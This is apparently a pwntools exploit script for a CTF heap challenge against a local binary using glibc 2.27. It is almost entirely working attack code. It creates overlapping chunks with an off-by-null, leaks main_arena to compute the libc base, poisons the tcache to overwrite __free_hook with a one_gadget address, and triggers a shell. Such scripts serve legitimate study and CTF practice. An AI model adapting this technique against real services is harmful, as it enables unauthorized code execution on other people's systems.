1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug") context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn"
libc = "/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6"
p = process(file)
elf = ELF(file) libc = ELF(libc)
def choice(idx): sla("Your choice: ",str(idx))
def add(size,data='a'): choice(1) sla("Size:",str(size)) sa("Data:",data)
def show(idx): choice(2) sla("Index:",str(idx))
def free(idx): choice(3) sla("Index:",str(idx))
add(0x420,b'0') add(0x68,b'1') add(0x4f0,b'2') add(0x10,b'3') free(0) free(1)
for i in range(9): add(0x68-i,b'a'*(0x68-i)) free(0) bug() add(0x68,cyclic(0x60)+p64(0x4a0)) free(2)
add(0x420) show(0) main_arena = u64(p.recvuntil(b'\x0a')[:-1]+b'\x00\x00') - 0x10 malloc_hook = main_arena - 0x60 libc.address = malloc_hook - libc.sym['__malloc_hook'] lg("libc_address: ",libc.address)
one = [0x4f2be,0x4f2c5,0x4f322,0x10a38c] onegadget = libc.address + one[2]
add(0x68,cyclic(0x67)) free(0) free(2)
add(0x60,p64(libc.sym['__free_hook'])) add(0x60) add(0x60,p64(onegadget))
free(1) p.interactive()
|